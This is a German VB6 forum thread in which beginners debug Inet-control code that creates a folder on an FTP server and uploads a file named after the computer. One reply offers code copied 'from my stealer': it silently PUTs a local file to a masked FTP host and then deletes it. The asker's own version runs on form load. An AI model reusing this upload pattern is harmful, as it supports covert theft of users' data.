Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
  		RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1
Es wird nicht in dem Ordner geuploadet!
Verfasst am: 28.02.2008, 18:16
Code:
Dim sLocalFile As String
Dim sRemoteFile As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "vbx"
.UserName = "vbx"
.Password = "vbx"
.Execute , "MKDIR ""vbx"""

sLocalFile = ("C:\Test.txt")
sRemoteFile = ("vbx" & Environ$("computername") & "- Test.txt")


Also es erstellt einen ordner aber die datei erscheint nicht in dem Ordner

Danke im voraus

MfG
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 28.02.2008, 18:21
wie wärs mit PUT?
http://sollniss.1x.to/

 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425

Verfasst am: 28.02.2008, 18:21
Der Remotepfad benötigt am Anfang ein "/".
 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 28.02.2008, 18:30
Omg, bei mir wills einfach nicht Funken -.-*

Code:

Private Sub Form_Load()

Dim sLocalFile As String
Dim sRemoteFile As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "sdfsdfsdf"
.UserName = "sdfsdf"
.Password = "sdfsdf"
.Execute , "MKDIR ""Ordnername"""

sLocalFile = Environ("windir") & "\Test.txt"
sRemoteFile = "/""Ordername" & Environ$("computername") & "- Test.txt"

End With


End Sub


So siehts ganz aus...
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425

Verfasst am: 28.02.2008, 18:32
Du musst die Datei auch noch hochladen. Rolling Eyes
Du defnierst zwar die Pfade, aber so kann die Datei doch garnicht auf dem FTP ankommen.

Zuletzt bearbeitet von c0re_ am 28.02.2008, 18:34, insgesamt einmal bearbeitet
 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 28.02.2008, 18:33
Ich häng an der Sache schon ne Halbe stunde dran und bring es nicht zum Laufen, kann mir denn keiner Helfen Embarassed Embarassed Embarassed

Edit:\\ Wie denn dann?

MfG
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 28.02.2008, 19:28
Zitat:
wie wärs mit PUT?


nen bisschen alleine denken geht nich oder?
http://sollniss.1x.to/

 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 28.02.2008, 19:38
Wenn ich es mit PUT mache dann kommt eine Fehlermeldung.. Glaubst du wenn es gehen würde, würde ich weiter hier Fragen? Wink

Also wie kann ich denn jetzt eine File in einem FTP Ordner Uploaden denn ich vorher erstelle?

MfG
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425

Verfasst am: 28.02.2008, 21:51
Dann wär es nützlich gewesen, wenn du den Code gepostet hättest, bei dem ein fehler kommt. Rolling Eyes
 
rebell1992_
Newbie
Newbie

Anmeldedatum: 17.02.2008
Beiträge: 5

Verfasst am: 28.02.2008, 22:07
ich habe das jetzt mit nem Command button gemacht

Code:
Private Sub Command1_Click()
Dim sLocalFile As String
Dim sRemoteFile As String

Open "test.txt" For Append As #1
Print #1, "Hallo"
Print #1, "vb-x.org"
Close 1#


With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = ""
.UserName = ""
.Password = ""
.Execute , "PUT " & sLocalFile & " " & sRemoteFile

sLocalFile = Environ("windir") & "\test.txt"
sRemoteFile = "/""Ordername" & Environ$("computername") & "- test.txt"
 

End With

End Sub
 
exe-cute_
Poster
Poster



Anmeldedatum: 21.10.2007
Beiträge: 154

Verfasst am: 28.02.2008, 22:10
lol ?
ueberlegt doch mal.
wie kann man was uppen, wenn der Path erst nach dem Uppen festgelegt wird ?

Code:
sLocalFile = Environ("windir") & "\test.txt"
sRemoteFile = "/""Ordername" & Environ$("computername") & "- test.txt"


der teil muss vor r execute..
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 28.02.2008, 22:11
Code:
Private Sub Command1_Click()
Dim sLocalFile As String
Dim sRemoteFile As String

Open "test.txt" For Append As #1
Print #1, "Hallo"
Print #1, "vb-x.org"
Close 1#

sLocalFile = Environ("windir") & "\test.txt"
sRemoteFile = "/" & Ordername & "/" & Environ$("computername") & "- test.txt"

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = ""
.UserName = ""
.Password = ""
.Execute , "PUT " & sLocalFile & " " & sRemoteFile


End With

End Sub


vars immer vorher füllen, außerdem synthax beachten, ich geh mal davon aus das "Ordnername" nen string is
http://sollniss.1x.to/

 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 13:30
Also ich blick hier gar nicht mehr durch...
Wenn ich Vorher PUT Funktion mache kommt gar nichts an.. Und mit nem Command button möchte ich es nicht Wink

Code:
Dim sLocalFile As String
Dim sRemoteFile As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = **
.UserName = **
.Password = **

sLocalFile = Environ("windir") & "\test.txt"
sRemoteFile = Environ("computername") & "- test.txt"

  .Execute , "PUT " & sLocalFile & " " & sRemoteFile

End With
End Sub


Also meine frage ist eigentlich ja nur die:

WIE KANN ICH EIN FTP UPLOAD MACHEN INDEM ES VORHER EINEN ORDNER ERSTELLT UND IN DENN ORDENR UPLOADET??

MfG Wink
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202

Verfasst am: 29.02.2008, 13:57
ich habe dir den folgenden Code ma aus meinem Stealer kopiert:

Code:
Dim LocalFile As String
LocalFile = Environ("SystemDrive") & "\" & "123.txt"

Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"

With Inet1
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = "ftp.xxxx.hu"
  .UserName = "xxxxx"
  .Password = "xxxx"
  .Execute , "PUT " & LocalFile & " " & RemoteFile
End With

Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile


Leider weiß ich auchnicht wie man die dateien nun in den erstellten ordner kopieren soll .... (in meinem bsp. wird KEIN ordner erstellt!)
 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 14:57
Jo Marcel das nütz mir natürlich ncihts, post ist sinnlos..

Kann mir keiner Helfen?!
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 29.02.2008, 15:05
....

Code:

Dim sLocalFile As String
Dim sRemoteFile As String
dim ordnername as string

Open "test.txt" For Append As #1
Print #1, "Hallo"
Print #1, "vb-x.org"
Close 1#

ordnername = "blablubb"
sLocalFile = Environ("windir") & "\test.txt"
sRemoteFile = [b]"/"[/b] & ordnername & "/" & Environ$("computername") & "- test.txt"

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = ""
.UserName = ""
.Password = ""
.Execute , "MKDIR " & ordnername
' vll. hierzwischen nen paar sek warten, kp wie lange das dauert (timer)
.Execute , "PUT " & sLocalFile & " " & sRemoteFile


End With


das mit [b] gekennzeichnete weiß ich net genau, entweder mit oder ohne.. try it
http://sollniss.1x.to/

 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 15:16
Code:
.Execute , "PUT " & sLocalFile & " " & sRemoteFile


Kommt immer fehler..
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 29.02.2008, 15:21
mit/ohne "/"? fehlermeldung??

hellsehen kann ich leider nochnet...
http://sollniss.1x.to/

 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 15:49
"/" daran scheint alles zu funken,

Code:
.Execute , "PUT " & sLocalFile & " " & sRemoteFile


Kommt immer fehler beim starten..
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 29.02.2008, 15:57
Zitat:
mit/ohne "/"? fehlermeldung??

hellsehen kann ich leider nochnet...


wtf?
WAS kommt den für ein fehler?
HAST du "\" benust oder HAST du es NICHT?
HAST du ein timer drin oder läuft alles einfach ohne zu warten?
http://sollniss.1x.to/

 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 16:05
Hier mal Screene:


 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212

Verfasst am: 29.02.2008, 17:36
siehste geht doch, mach einfach die put zeile in nen timer
http://sollniss.1x.to/

 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 17:49
Wie geht das genau mit dem Timer?
 
rebell1992_
Newbie
Newbie

Anmeldedatum: 17.02.2008
Beiträge: 5

Verfasst am: 29.02.2008, 21:51
Code:
Private Sub Form_load()
Dim sLocalFile As String
Dim sRemoteFile As String

Open "test.txt" For Append As #1
Print #1, "muhkuh is like sex"
Print #1, "vb-x.org"
Close 1#

sLocalFile = "test.txt"
sRemoteFile = Environ$("computername") & ".txt"

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "127.0.0.1"
.UserName = "rhilor"
.Password = "pw"

.Execute , "PUT " & sLocalFile & " " & sRemoteFile


End With
MsgBox "Fertig!", vbInformation
End Sub


so gehts bei mir
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202

Verfasst am: 29.02.2008, 22:03
toll rebell1992 aber wo ist der Ordner der erstellt werden sol ? ^^
 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 29.02.2008, 22:17
lol bekomme ich irgendwann eine Gescheite antwort?^^
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 29.02.2008, 22:20
So langsam hast du mehr als genug gute Antworten bekommen, aber sowas wie Eigeninitiative sieht man bei dir garnicht.

Wenn ich so eine Frage sehe:
Zitat:

Wie geht das genau mit dem Timer?


Dann denke ich mir, solltest du dir noch paarmal die basic video tuts ansehen.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
august_
Poster
Poster

Anmeldedatum: 04.08.2007
Beiträge: 181

Verfasst am: 01.03.2008, 22:37

Komm da irgendwie auch nicht weiter wie geht das jetzt?
Danke schon mal im voraus
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 983 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2608 06.03.2008, 21:19
Keine neuen Beiträge Registry & Co Fragen 1203 03.05.2007, 10:57
Keine neuen Beiträge IP Stealer example 4 RuaP and vb-x.org 1176 30.04.2007, 17:20
Keine neuen Beiträge Listbox speichern & laden 2266 22.03.2007, 21:25
 



[ Time: 0.2152s ][ Queries: 163 (0.1210s) ][ GZIP on - Debug on ]